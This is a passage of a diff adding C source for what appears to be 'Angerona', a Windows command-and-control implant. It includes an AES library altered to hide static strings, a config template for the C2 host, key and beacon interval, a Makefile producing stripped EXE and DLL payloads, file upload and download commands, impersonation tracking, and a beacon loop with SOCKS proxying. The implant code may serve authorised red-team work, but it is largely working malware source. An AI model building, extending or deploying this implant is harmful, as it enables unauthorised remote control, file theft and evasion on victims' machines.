temp = (*state)[0][3];
|
||||
(*state)[0][3] = (*state)[3][3];
|
||||
(*state)[3][3] = (*state)[2][3];
|
||||
(*state)[2][3] = (*state)[1][3];
|
||||
(*state)[1][3] = temp;
|
||||
}
|
||||
|
||||
static uint8_t xtime(uint8_t x)
|
||||
{
|
||||
return ((x<<1) ^ (((x>>7) & 1) * 0x1b));
|
||||
}
|
||||
|
||||
// MixColumns function mixes the columns of the state matrix
|
||||
static void MixColumns(state_t* state)
|
||||
{
|
||||
uint8_t i;
|
||||
uint8_t Tmp, Tm, t;
|
||||
for (i = 0; i < 4; ++i)
|
||||
{
|
||||
t = (*state)[i][0];
|
||||
Tmp = (*state)[i][0] ^ (*state)[i][1] ^ (*state)[i][2] ^ (*state)[i][3] ;
|
||||
Tm = (*state)[i][0] ^ (*state)[i][1] ; Tm = xtime(Tm); (*state)[i][0] ^= Tm ^ Tmp ;
|
||||
Tm = (*state)[i][1] ^ (*state)[i][2] ; Tm = xtime(Tm); (*state)[i][1] ^= Tm ^ Tmp ;
|
||||
Tm = (*state)[i][2] ^ (*state)[i][3] ; Tm = xtime(Tm); (*state)[i][2] ^= Tm ^ Tmp ;
|
||||
Tm = (*state)[i][3] ^ t ; Tm = xtime(Tm); (*state)[i][3] ^= Tm ^ Tmp ;
|
||||
}
|
||||
}
|
||||
|
||||
// Multiply is used to multiply numbers in the field GF(2^8)
|
||||
// Note: The last call to xtime() is unneeded, but often ends up generating a smaller binary
|
||||
// The compiler seems to be able to vectorize the operation better this way.
|
||||
// See https://github.com/kokke/tiny-AES-c/pull/34
|
||||
#if MULTIPLY_AS_A_FUNCTION
|
||||
static uint8_t Multiply(uint8_t x, uint8_t y)
|
||||
{
|
||||
return (((y & 1) * x) ^
|
||||
((y>>1 & 1) * xtime(x)) ^
|
||||
((y>>2 & 1) * xtime(xtime(x))) ^
|
||||
((y>>3 & 1) * xtime(xtime(xtime(x)))) ^
|
||||
((y>>4 & 1) * xtime(xtime(xtime(xtime(x)))))); /* this last call to xtime() can be omitted */
|
||||
}
|
||||
#else
|
||||
#define Multiply(x, y) \
|
||||
( ((y & 1) * x) ^ \
|
||||
((y>>1 & 1) * xtime(x)) ^ \
|
||||
((y>>2 & 1) * xtime(xtime(x))) ^ \
|
||||
((y>>3 & 1) * xtime(xtime(xtime(x)))) ^ \
|
||||
((y>>4 & 1) * xtime(xtime(xtime(xtime(x)))))) \
|
||||
|
||||
#endif
|
||||
|
||||
#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
|
||||
/*
|
||||
static uint8_t getSBoxInvert(uint8_t num)
|
||||
{
|
||||
return rsbox[num];
|
||||
}
|
||||
*/
|
||||
|
||||
//Replace with xor to remove static strings
|
||||
//#define getSBoxInvert(num) (rsbox[(num)]) // original line
|
||||
#define origGetSBoxInvert(num) (rsbox[(num)])
|
||||
#define getSBoxInvert(num) (origGetSBoxInvert(num) ^ 0x55)
|
||||
|
||||
// MixColumns function mixes the columns of the state matrix.
|
||||
// The method used to multiply may be difficult to understand for the inexperienced.
|
||||
// Please use the references to gain more information.
|
||||
static void InvMixColumns(state_t* state)
|
||||
{
|
||||
int i;
|
||||
uint8_t a, b, c, d;
|
||||
for (i = 0; i < 4; ++i)
|
||||
{
|
||||
a = (*state)[i][0];
|
||||
b = (*state)[i][1];
|
||||
c = (*state)[i][2];
|
||||
d = (*state)[i][3];
|
||||
|
||||
(*state)[i][0] = Multiply(a, 0x0e) ^ Multiply(b, 0x0b) ^ Multiply(c, 0x0d) ^ Multiply(d, 0x09);
|
||||
(*state)[i][1] = Multiply(a, 0x09) ^ Multiply(b, 0x0e) ^ Multiply(c, 0x0b) ^ Multiply(d, 0x0d);
|
||||
(*state)[i][2] = Multiply(a, 0x0d) ^ Multiply(b, 0x09) ^ Multiply(c, 0x0e) ^ Multiply(d, 0x0b);
|
||||
(*state)[i][3] = Multiply(a, 0x0b) ^ Multiply(b, 0x0d) ^ Multiply(c, 0x09) ^ Multiply(d, 0x0e);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// The SubBytes Function Substitutes the values in the
|
||||
// state matrix with values in an S-box.
|
||||
static void InvSubBytes(state_t* state)
|
||||
{
|
||||
uint8_t i, j;
|
||||
for (i = 0; i < 4; ++i)
|
||||
{
|
||||
for (j = 0; j < 4; ++j)
|
||||
{
|
||||
(*state)[j][i] = getSBoxInvert((*state)[j][i]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static void InvShiftRows(state_t* state)
|
||||
{
|
||||
uint8_t temp;
|
||||
|
||||
// Rotate first row 1 columns to right
|
||||
temp = (*state)[3][1];
|
||||
(*state)[3][1] = (*state)[2][1];
|
||||
(*state)[2][1] = (*state)[1][1];
|
||||
(*state)[1][1] = (*state)[0][1];
|
||||
(*state)[0][1] = temp;
|
||||
|
||||
// Rotate second row 2 columns to right
|
||||
temp = (*state)[0][2];
|
||||
(*state)[0][2] = (*state)[2][2];
|
||||
(*state)[2][2] = temp;
|
||||
|
||||
temp = (*state)[1][2];
|
||||
(*state)[1][2] = (*state)[3][2];
|
||||
(*state)[3][2] = temp;
|
||||
|
||||
// Rotate third row 3 columns to right
|
||||
temp = (*state)[0][3];
|
||||
(*state)[0][3] = (*state)[1][3];
|
||||
(*state)[1][3] = (*state)[2][3];
|
||||
(*state)[2][3] = (*state)[3][3];
|
||||
(*state)[3][3] = temp;
|
||||
}
|
||||
#endif // #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
|
||||
|
||||
// Cipher is the main function that encrypts the PlainText.
|
||||
static void Cipher(state_t* state, const uint8_t* RoundKey)
|
||||
{
|
||||
uint8_t round = 0;
|
||||
|
||||
// Add the First round key to the state before starting the rounds.
|
||||
AddRoundKey(0, state, RoundKey);
|
||||
|
||||
// There will be Nr rounds.
|
||||
// The first Nr-1 rounds are identical.
|
||||
// These Nr rounds are executed in the loop below.
|
||||
// Last one without MixColumns()
|
||||
for (round = 1; ; ++round)
|
||||
{
|
||||
SubBytes(state);
|
||||
ShiftRows(state);
|
||||
if (round == Nr) {
|
||||
break;
|
||||
}
|
||||
MixColumns(state);
|
||||
AddRoundKey(round, state, RoundKey);
|
||||
}
|
||||
// Add round key to last round
|
||||
AddRoundKey(Nr, state, RoundKey);
|
||||
}
|
||||
|
||||
#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
|
||||
static void InvCipher(state_t* state, const uint8_t* RoundKey)
|
||||
{
|
||||
uint8_t round = 0;
|
||||
|
||||
// Add the First round key to the state before starting the rounds.
|
||||
AddRoundKey(Nr, state, RoundKey);
|
||||
|
||||
// There will be Nr rounds.
|
||||
// The first Nr-1 rounds are identical.
|
||||
// These Nr rounds are executed in the loop below.
|
||||
// Last one without InvMixColumn()
|
||||
for (round = (Nr - 1); ; --round)
|
||||
{
|
||||
InvShiftRows(state);
|
||||
InvSubBytes(state);
|
||||
AddRoundKey(round, state, RoundKey);
|
||||
if (round == 0) {
|
||||
break;
|
||||
}
|
||||
InvMixColumns(state);
|
||||
}
|
||||
|
||||
}
|
||||
#endif // #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
|
||||
|
||||
/*****************************************************************************/
|
||||
/* Public functions: */
|
||||
/*****************************************************************************/
|
||||
#if defined(ECB) && (ECB == 1)
|
||||
|
||||
|
||||
void AES_ECB_encrypt(const struct AES_ctx* ctx, uint8_t* buf)
|
||||
{
|
||||
// The next function call encrypts the PlainText with the Key using AES algorithm.
|
||||
Cipher((state_t*)buf, ctx->RoundKey);
|
||||
}
|
||||
|
||||
void AES_ECB_decrypt(const struct AES_ctx* ctx, uint8_t* buf)
|
||||
{
|
||||
// The next function call decrypts the PlainText with the Key using AES algorithm.
|
||||
InvCipher((state_t*)buf, ctx->RoundKey);
|
||||
}
|
||||
|
||||
|
||||
#endif // #if defined(ECB) && (ECB == 1)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#if defined(CBC) && (CBC == 1)
|
||||
|
||||
|
||||
static void XorWithIv(uint8_t* buf, const uint8_t* Iv)
|
||||
{
|
||||
uint8_t i;
|
||||
for (i = 0; i < AES_BLOCKLEN; ++i) // The block in AES is always 128bit no matter the key size
|
||||
{
|
||||
buf[i] ^= Iv[i];
|
||||
}
|
||||
}
|
||||
|
||||
void AES_CBC_encrypt_buffer(struct AES_ctx *ctx, uint8_t* buf, size_t length)
|
||||
{
|
||||
size_t i;
|
||||
uint8_t *Iv = ctx->Iv;
|
||||
for (i = 0; i < length; i += AES_BLOCKLEN)
|
||||
{
|
||||
XorWithIv(buf, Iv);
|
||||
Cipher((state_t*)buf, ctx->RoundKey);
|
||||
Iv = buf;
|
||||
buf += AES_BLOCKLEN;
|
||||
}
|
||||
/* store Iv in ctx for next call */
|
||||
memcpy(ctx->Iv, Iv, AES_BLOCKLEN);
|
||||
}
|
||||
|
||||
void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length)
|
||||
{
|
||||
size_t i;
|
||||
uint8_t storeNextIv[AES_BLOCKLEN];
|
||||
for (i = 0; i < length; i += AES_BLOCKLEN)
|
||||
{
|
||||
memcpy(storeNextIv, buf, AES_BLOCKLEN);
|
||||
InvCipher((state_t*)buf, ctx->RoundKey);
|
||||
XorWithIv(buf, ctx->Iv);
|
||||
memcpy(ctx->Iv, storeNextIv, AES_BLOCKLEN);
|
||||
buf += AES_BLOCKLEN;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
#endif // #if defined(CBC) && (CBC == 1)
|
||||
|
||||
|
||||
|
||||
#if defined(CTR) && (CTR == 1)
|
||||
|
||||
/* Symmetrical operation: same function for encrypting as for decrypting. Note any IV/nonce should never be reused with the same key */
|
||||
void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length)
|
||||
{
|
||||
uint8_t buffer[AES_BLOCKLEN];
|
||||
|
||||
size_t i;
|
||||
int bi;
|
||||
for (i = 0, bi = AES_BLOCKLEN; i < length; ++i, ++bi)
|
||||
{
|
||||
if (bi == AES_BLOCKLEN) /* we need to regen xor compliment in buffer */
|
||||
{
|
||||
|
||||
memcpy(buffer, ctx->Iv, AES_BLOCKLEN);
|
||||
Cipher((state_t*)buffer,ctx->RoundKey);
|
||||
|
||||
/* Increment Iv and handle overflow */
|
||||
for (bi = (AES_BLOCKLEN - 1); bi >= 0; --bi)
|
||||
{
|
||||
/* inc will overflow */
|
||||
if (ctx->Iv[bi] == 255)
|
||||
{
|
||||
ctx->Iv[bi] = 0;
|
||||
continue;
|
||||
}
|
||||
ctx->Iv[bi] += 1;
|
||||
break;
|
||||
}
|
||||
bi = 0;
|
||||
}
|
||||
|
||||
buf[i] = (buf[i] ^ buffer[bi]);
|
||||
}
|
||||
}
|
||||
|
||||
#endif // #if defined(CTR) && (CTR == 1)
|
||||
|
||||
@@ -0,0 +1,91 @@
|
||||
#ifndef _AES_H_
|
||||
#define _AES_H_
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
|
||||
// #define the macros below to 1/0 to enable/disable the mode of operation.
|
||||
//
|
||||
// CBC enables AES encryption in CBC-mode of operation.
|
||||
// CTR enables encryption in counter-mode.
|
||||
// ECB enables the basic ECB 16-byte block algorithm. All can be enabled simultaneously.
|
||||
|
||||
// The #ifndef-guard allows it to be configured before #include'ing or at compile time.
|
||||
#ifndef CBC
|
||||
#define CBC 1
|
||||
#endif
|
||||
|
||||
#ifndef ECB
|
||||
#define ECB 1
|
||||
#endif
|
||||
|
||||
#ifndef CTR
|
||||
#define CTR 1
|
||||
#endif
|
||||
|
||||
|
||||
//#define AES128 1
|
||||
//#define AES192 1
|
||||
#define AES256 1
|
||||
|
||||
#define AES_BLOCKLEN 16 // Block length in bytes - AES is 128b block only
|
||||
|
||||
#if defined(AES256) && (AES256 == 1)
|
||||
#define AES_KEYLEN 32
|
||||
#define AES_keyExpSize 240
|
||||
#elif defined(AES192) && (AES192 == 1)
|
||||
#define AES_KEYLEN 24
|
||||
#define AES_keyExpSize 208
|
||||
#else
|
||||
#define AES_KEYLEN 16 // Key length in bytes
|
||||
#define AES_keyExpSize 176
|
||||
#endif
|
||||
|
||||
struct AES_ctx
|
||||
{
|
||||
uint8_t RoundKey[AES_keyExpSize];
|
||||
#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1))
|
||||
uint8_t Iv[AES_BLOCKLEN];
|
||||
#endif
|
||||
};
|
||||
|
||||
void AES_init_ctx(struct AES_ctx* ctx, const uint8_t* key);
|
||||
#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1))
|
||||
void AES_init_ctx_iv(struct AES_ctx* ctx, const uint8_t* key, const uint8_t* iv);
|
||||
void AES_ctx_set_iv(struct AES_ctx* ctx, const uint8_t* iv);
|
||||
#endif
|
||||
|
||||
#if defined(ECB) && (ECB == 1)
|
||||
// buffer size is exactly AES_BLOCKLEN bytes;
|
||||
// you need only AES_init_ctx as IV is not used in ECB
|
||||
// NB: ECB is considered insecure for most uses
|
||||
void AES_ECB_encrypt(const struct AES_ctx* ctx, uint8_t* buf);
|
||||
void AES_ECB_decrypt(const struct AES_ctx* ctx, uint8_t* buf);
|
||||
|
||||
#endif // #if defined(ECB) && (ECB == !)
|
||||
|
||||
|
||||
#if defined(CBC) && (CBC == 1)
|
||||
// buffer size MUST be mutile of AES_BLOCKLEN;
|
||||
// Suggest https://en.wikipedia.org/wiki/Padding_(cryptography)#PKCS7 for padding scheme
|
||||
// NOTES: you need to set IV in ctx via AES_init_ctx_iv() or AES_ctx_set_iv()
|
||||
// no IV should ever be reused with the same key
|
||||
void AES_CBC_encrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length);
|
||||
void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length);
|
||||
|
||||
#endif // #if defined(CBC) && (CBC == 1)
|
||||
|
||||
|
||||
#if defined(CTR) && (CTR == 1)
|
||||
|
||||
// Same function for encrypting as for decrypting.
|
||||
// IV is incremented for every block, and used after encryption as XOR-compliment for output
|
||||
// Suggesting https://en.wikipedia.org/wiki/Padding_(cryptography)#PKCS7 for padding scheme
|
||||
// NOTES: you need to set IV in ctx with AES_init_ctx_iv() or AES_ctx_set_iv()
|
||||
// no IV should ever be reused with the same key
|
||||
void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length);
|
||||
|
||||
#endif // #if defined(CTR) && (CTR == 1)
|
||||
|
||||
|
||||
#endif // _AES_H_
|
||||
@@ -0,0 +1,114 @@
|
||||
#include "analizador.h"
|
||||
|
||||
//Creacion de un nuevo Analizador.
|
||||
PAnalizador nuevoAnalizador(PBYTE buffer, SIZE_T tamano) {
|
||||
//v2 change to syscalls
|
||||
PAnalizador pAnalizador = (PAnalizador)LocalAlloc(LPTR, sizeof(Analizador));
|
||||
pAnalizador->buffer = NULL;
|
||||
pAnalizador->tamano = tamano;
|
||||
pAnalizador->tamanoOriginal = tamano;
|
||||
pAnalizador->original = (PBYTE)LocalAlloc(LPTR, tamano);
|
||||
|
||||
if (!pAnalizador->original) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
memcpy(pAnalizador->original, buffer, tamano);
|
||||
pAnalizador->buffer = pAnalizador->original;
|
||||
|
||||
return pAnalizador;
|
||||
}
|
||||
|
||||
VOID liberarAnalizador(PAnalizador analizador) {
|
||||
|
||||
analizador->original = NULL;
|
||||
analizador->buffer = NULL;
|
||||
LocalFree(analizador);
|
||||
|
||||
}
|
||||
|
||||
BYTE getByte(PAnalizador analizador) {
|
||||
|
||||
BYTE intByte = 0;
|
||||
if (analizador->tamano < 1) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
//v2. Syscalls
|
||||
memcpy(&intByte, analizador->buffer, 1);
|
||||
analizador->buffer += 1;
|
||||
analizador->tamano -= 1;
|
||||
|
||||
return intByte;
|
||||
|
||||
}
|
||||
|
||||
|
||||
UINT32 getInt32(PAnalizador analizador) {
|
||||
|
||||
UINT32 intByte = 0;
|
||||
if (analizador->tamano < 4) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
//v2. Syscalls
|
||||
memcpy(&intByte, analizador->buffer, 4);
|
||||
analizador->buffer += 4;
|
||||
analizador->tamano -= 4;
|
||||
|
||||
return BYTESWAP32(intByte);
|
||||
|
||||
}
|
||||
|
||||
UINT64 getInt64(PAnalizador analizador) {
|
||||
|
||||
UINT64 intByte = 0;
|
||||
if (analizador->tamano < 8) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
//v2. Syscalls
|
||||
memcpy(&intByte, analizador->buffer, 8);
|
||||
analizador->buffer += 8;
|
||||
analizador->tamano -= 8;
|
||||
|
||||
return BYTESWAP64(intByte);
|
||||
|
||||
}
|
||||
|
||||
PBYTE getBytes(PAnalizador analizador, PSIZE_T tamano) {
|
||||
|
||||
SIZE_T length = 0;
|
||||
if (*tamano == 0) {
|
||||
|
||||
length = getInt32(analizador);
|
||||
*tamano = length;
|
||||
}
|
||||
else {
|
||||
|
||||
length = *tamano;
|
||||
|
||||
}
|
||||
|
||||
PBYTE datosDeSalida = (PBYTE)LocalAlloc(LPTR, length);
|
||||
if (!datosDeSalida) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
memcpy(datosDeSalida, analizador->buffer, length);
|
||||
analizador->buffer += length;
|
||||
analizador->tamano -= length;
|
||||
|
||||
return datosDeSalida;
|
||||
}
|
||||
|
||||
PCHAR getString(PAnalizador analizador, PSIZE_T tamano) {
|
||||
|
||||
return (PCHAR)getBytes(analizador, tamano);
|
||||
}
|
||||
|
||||
PWCHAR getWString(PAnalizador analizador, PSIZE_T tamano) {
|
||||
|
||||
return (PWCHAR)getBytes(analizador, tamano);
|
||||
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
#pragma once
|
||||
#define ENCRYPTION_ENABLED %ENCRYPTION_ENABLED%
|
||||
#define AESPSK_KEY "%AESPSK_KEY%"
|
||||
#define initUUID "%UUID%"
|
||||
#define hostname L"%HOSTNAME%"
|
||||
#define endpoint L"%ENDPOINT%"
|
||||
#define ssl %SSL%
|
||||
#define proxyenabled %PROXYENABLED%
|
||||
#define proxyurl L"%PROXYURL%"
|
||||
|
||||
#define useragent L"%USERAGENT%"
|
||||
#define httpmethod L"POST"
|
||||
#define port %PORT%
|
||||
|
||||
#define sleep_time %SLEEPTIME%
|
||||
@@ -0,0 +1,89 @@
|
||||
# Compiler
|
||||
CC = x86_64-w64-mingw32-gcc
|
||||
|
||||
# Base flags
|
||||
CFLAGS = -Wall -w -IInclude
|
||||
LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -lbcrypt -lgdi32 -luser32 -lshlwapi -lversion -lcrypt32 -lncrypt -lole32 -lshell32 -lntdll -mwindows
|
||||
LFLAGS_CONSOLE = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -lbcrypt -lgdi32 -luser32 -lshlwapi -lversion -lcrypt32 -lncrypt -lole32 -lshell32 -lntdll
|
||||
|
||||
# Debug parameters (can be overridden from command line)
|
||||
# DEBUG_LEVEL: none=0, errors=1, warnings=2, info=3, all=4
|
||||
# DEBUG_OUTPUT: console=0, file=1
|
||||
DEBUG_LEVEL ?= 0
|
||||
DEBUG_OUTPUT ?= 0
|
||||
|
||||
# Convert DEBUG_LEVEL string to number if needed
|
||||
ifeq ($(DEBUG_LEVEL),none)
|
||||
DEBUG_LEVEL_NUM = 0
|
||||
else ifeq ($(DEBUG_LEVEL),errors)
|
||||
DEBUG_LEVEL_NUM = 1
|
||||
else ifeq ($(DEBUG_LEVEL),warnings)
|
||||
DEBUG_LEVEL_NUM = 2
|
||||
else ifeq ($(DEBUG_LEVEL),info)
|
||||
DEBUG_LEVEL_NUM = 3
|
||||
else ifeq ($(DEBUG_LEVEL),all)
|
||||
DEBUG_LEVEL_NUM = 4
|
||||
else
|
||||
# Assume it's already a number
|
||||
DEBUG_LEVEL_NUM = $(DEBUG_LEVEL)
|
||||
endif
|
||||
|
||||
# Convert DEBUG_OUTPUT string to number if needed
|
||||
ifeq ($(DEBUG_OUTPUT),console)
|
||||
DEBUG_OUTPUT_NUM = 0
|
||||
else ifeq ($(DEBUG_OUTPUT),file)
|
||||
DEBUG_OUTPUT_NUM = 1
|
||||
else
|
||||
# Assume it's already a number
|
||||
DEBUG_OUTPUT_NUM = $(DEBUG_OUTPUT)
|
||||
endif
|
||||
|
||||
# Command enable flags (passed from builder.py)
|
||||
COMMAND_FLAGS ?=
|
||||
|
||||
# Debug flags based on level
|
||||
DEBUG_FLAGS = -DDEBUG_SOCKS -g
|
||||
ifeq ($(DEBUG_LEVEL_NUM),0)
|
||||
# No debug
|
||||
DEBUG_FLAGS =
|
||||
else
|
||||
# Debug enabled - add defines for debug level and output
|
||||
# DEBUG_LEVEL: 0=NONE, 1=ERR, 2=WRN, 3=INF, 4=ALL
|
||||
# DEBUG_OUTPUT: 0=CONSOLE, 1=FILE
|
||||
DEBUG_FLAGS += -DDEBUG_LEVEL=$(DEBUG_LEVEL_NUM)
|
||||
DEBUG_FLAGS += -DDEBUG_OUTPUT=$(DEBUG_OUTPUT_NUM)
|
||||
endif
|
||||
|
||||
# Directories
|
||||
SRC_FILES := *.c
|
||||
BUILD_DIR = build
|
||||
|
||||
# Ensure build directory exists
|
||||
$(shell mkdir -p $(BUILD_DIR))
|
||||
|
||||
# Build Targets
|
||||
all: exe dll
|
||||
debug: debug_exe debug_dll
|
||||
|
||||
exe: $(BUILD_DIR)/angerona.exe
|
||||
dll: $(BUILD_DIR)/angerona.dll
|
||||
debug_exe: $(BUILD_DIR)/angerona-debug.exe
|
||||
debug_dll: $(BUILD_DIR)/angerona-debug.dll
|
||||
|
||||
# Executable Target
|
||||
$(BUILD_DIR)/angerona.exe: $(SRC_FILES)
|
||||
$(CC) $^ -o $@ $(CFLAGS) -s -D_EXE $(COMMAND_FLAGS) $(LFLAGS)
|
||||
|
||||
$(BUILD_DIR)/angerona-debug.exe: $(SRC_FILES)
|
||||
$(CC) $^ -o $@ $(CFLAGS) -D_EXE $(COMMAND_FLAGS) $(LFLAGS_CONSOLE) $(DEBUG_FLAGS)
|
||||
|
||||
# DLL Target
|
||||
$(BUILD_DIR)/angerona.dll: $(SRC_FILES)
|
||||
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) -s $(COMMAND_FLAGS) $(LFLAGS)
|
||||
|
||||
$(BUILD_DIR)/angerona-debug.dll: $(SRC_FILES)
|
||||
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(COMMAND_FLAGS) $(LFLAGS) $(DEBUG_FLAGS)
|
||||
|
||||
# Clean up
|
||||
clean:
|
||||
rm -rf $(BUILD_DIR)
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,26 @@
|
||||
#pragma once
|
||||
#ifndef FILESYSTEM_H
|
||||
#define FILESYSTEM_H
|
||||
|
||||
#include <windows.h>
|
||||
#include "analizador.h"
|
||||
|
||||
VOID CambiarDirectorio(PAnalizador argumentos);
|
||||
|
||||
VOID ListarDirectorio(PAnalizador argumentos);
|
||||
|
||||
BOOL ObtenerPath(PAnalizador argumentos);
|
||||
|
||||
VOID CopiarFichero(PAnalizador argumentos);
|
||||
|
||||
VOID CrearRuta(PAnalizador argumentos);
|
||||
|
||||
VOID EliminarRuta(PAnalizador argumentos);
|
||||
|
||||
VOID LeerFichero(PAnalizador argumentos);
|
||||
|
||||
VOID DescargarFichero(PAnalizador argumentos);
|
||||
|
||||
VOID SubirFichero(PAnalizador argumentos);
|
||||
|
||||
#endif //FILESYSTEM_H
|
||||
@@ -0,0 +1,26 @@
|
||||
#pragma once
|
||||
#ifndef ANALIZADOR_H
|
||||
#define ANALIZADOR_H
|
||||
|
||||
#include "utils.h"
|
||||
|
||||
typedef struct {
|
||||
|
||||
PBYTE original;
|
||||
PBYTE buffer;
|
||||
SIZE_T tamano;
|
||||
SIZE_T tamanoOriginal;
|
||||
|
||||
} Analizador, * PAnalizador;
|
||||
|
||||
PAnalizador nuevoAnalizador(PBYTE buffer, SIZE_T tamano);
|
||||
VOID liberarAnalizador(PAnalizador analizador);
|
||||
|
||||
BYTE getByte(PAnalizador analizador);
|
||||
UINT32 getInt32(PAnalizador analizador);
|
||||
UINT64 getInt64(PAnalizador analizador);
|
||||
PBYTE getBytes(PAnalizador analizador, PSIZE_T tamano);
|
||||
PCHAR getString(PAnalizador analizador, PSIZE_T tamano);
|
||||
PWCHAR getWString(PAnalizador analizador, PSIZE_T tamano);
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,128 @@
|
||||
#include "crypto.h" // Include crypto.h BEFORE angerona.h to avoid redeclaration
|
||||
#include "angerona.h"
|
||||
#include "Config.h"
|
||||
#include "socks_manager.h"
|
||||
|
||||
CONFIG_ANGERONA* angeronaConfig = NULL;
|
||||
|
||||
/* Context tracking: Current working directory and impersonation context */
|
||||
static char gCurrentDirectory[MAX_PATH] = "";
|
||||
static char gImpersonationContext[256] = "";
|
||||
|
||||
/* Get current working directory for context tracking */
|
||||
PCHAR getCurrentDirectoryContext(void) {
|
||||
if (gCurrentDirectory[0] == '\0') {
|
||||
// Initialize with actual current directory if not set
|
||||
if (GetCurrentDirectoryA(sizeof(gCurrentDirectory), gCurrentDirectory) == 0) {
|
||||
gCurrentDirectory[0] = '\0';
|
||||
}
|
||||
}
|
||||
return gCurrentDirectory;
|
||||
}
|
||||
|
||||
/* Set current working directory for context tracking */
|
||||
VOID setCurrentDirectoryContext(PCHAR cwd) {
|
||||
if (cwd && strlen(cwd) < sizeof(gCurrentDirectory)) {
|
||||
strncpy(gCurrentDirectory, cwd, sizeof(gCurrentDirectory) - 1);
|
||||
gCurrentDirectory[sizeof(gCurrentDirectory) - 1] = '\0';
|
||||
}
|
||||
}
|
||||
|
||||
/* Get impersonation context for context tracking */
|
||||
PCHAR getImpersonationContext(void) {
|
||||
return gImpersonationContext;
|
||||
}
|
||||
|
||||
/* Set impersonation context for context tracking */
|
||||
VOID setImpersonationContext(PCHAR context) {
|
||||
if (context) {
|
||||
strncpy(gImpersonationContext, context, sizeof(gImpersonationContext) - 1);
|
||||
gImpersonationContext[sizeof(gImpersonationContext) - 1] = '\0';
|
||||
} else {
|
||||
gImpersonationContext[0] = '\0';
|
||||
}
|
||||
}
|
||||
|
||||
/* Clear impersonation context (e.g., after rev2self) */
|
||||
VOID clearImpersonationContext(void) {
|
||||
gImpersonationContext[0] = '\0';
|
||||
}
|
||||
|
||||
VOID angeronaMain() {
|
||||
_inf("Inicializando configuración de Angerona");
|
||||
|
||||
angeronaConfig = (CONFIG_ANGERONA*)LocalAlloc(LPTR, sizeof(CONFIG_ANGERONA));
|
||||
if (!angeronaConfig) {
|
||||
_err("Error: fallo en LocalAlloc para angeronaConfig");
|
||||
return;
|
||||
}
|
||||
|
||||
angeronaConfig->idAgente = (PCHAR)initUUID;
|
||||
angeronaConfig->hostName = (PWCHAR)hostname;
|
||||
angeronaConfig->puertoHttp = port;
|
||||
angeronaConfig->endPoint = (PWCHAR)endpoint;
|
||||
angeronaConfig->userAgent = (PWCHAR)useragent;
|
||||
angeronaConfig->metodoHttp = (PWCHAR)httpmethod;
|
||||
angeronaConfig->SSL = ssl;
|
||||
angeronaConfig->proxyHabilitado= proxyenabled;
|
||||
angeronaConfig->urlProxy = (PWCHAR)proxyurl;
|
||||
angeronaConfig->tiempoSleep = (UINT32)(sleep_time) * 1000;
|
||||
angeronaConfig->encryptionEnabled = ENCRYPTION_ENABLED;
|
||||
|
||||
// Debug: print the raw values
|
||||
_dbg("ENCRYPTION_ENABLED = %d", ENCRYPTION_ENABLED);
|
||||
_dbg("AESPSK_KEY = %s", AESPSK_KEY);
|
||||
_dbg("AESPSK_KEY length = %zu", strlen(AESPSK_KEY));
|
||||
|
||||
// Initialize AESPSK encryption if enabled
|
||||
if (angeronaConfig->encryptionEnabled) {
|
||||
_inf("Inicializando cifrado AES256-HMAC...");
|
||||
if (crypto_init_aespsk(AESPSK_KEY)) {
|
||||
_inf("Cifrado habilitado");
|
||||
} else {
|
||||
_err("Falló la inicialización del cifrado");
|
||||
angeronaConfig->encryptionEnabled = FALSE;
|
||||
}
|
||||
} else {
|
||||
_inf("Cifrado deshabilitado");
|
||||
}
|
||||
_dbg("Config: id=%s host=%ls port=%u ssl=%d proxy=%d endpoint=%ls UA=%ls sleep=%u",
|
||||
angeronaConfig->idAgente,
|
||||
angeronaConfig->hostName,
|
||||
angeronaConfig->puertoHttp,
|
||||
(int)angeronaConfig->SSL,
|
||||
(int)angeronaConfig->proxyHabilitado,
|
||||
angeronaConfig->endPoint,
|
||||
angeronaConfig->userAgent,
|
||||
angeronaConfig->tiempoSleep);
|
||||
|
||||
_inf("Iniciando primer checkin...");
|
||||
PAnalizador respuestaAnalizador = checkin();
|
||||
|
||||
if (!respuestaAnalizador) {
|
||||
_err("Error en el primer checkin, cerrando");
|
||||
return;
|
||||
}
|
||||
|
||||
parseChecking(respuestaAnalizador);
|
||||
|
||||
_inf("Entrando en bucle principal (rutina). Sleep inicial: %u ms", angeronaConfig->tiempoSleep);
|
||||
|
||||
while (TRUE) {
|
||||
rutina();
|
||||
|
||||
/* Si SOCKS está activo, reducir sleep para mejorar latencia */
|
||||
if (socks_proxy_active) {
|
||||
_dbg("SOCKS activo -> checkin rápido (100 ms)");
|
||||
Sleep(100);
|
||||
} else {
|
||||
_dbg("SOCKS inactivo -> durmiendo %u ms", angeronaConfig->tiempoSleep);
|
||||
Sleep(angeronaConfig->tiempoSleep);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
VOID setUUID(PCHAR newUUID) {
|
||||
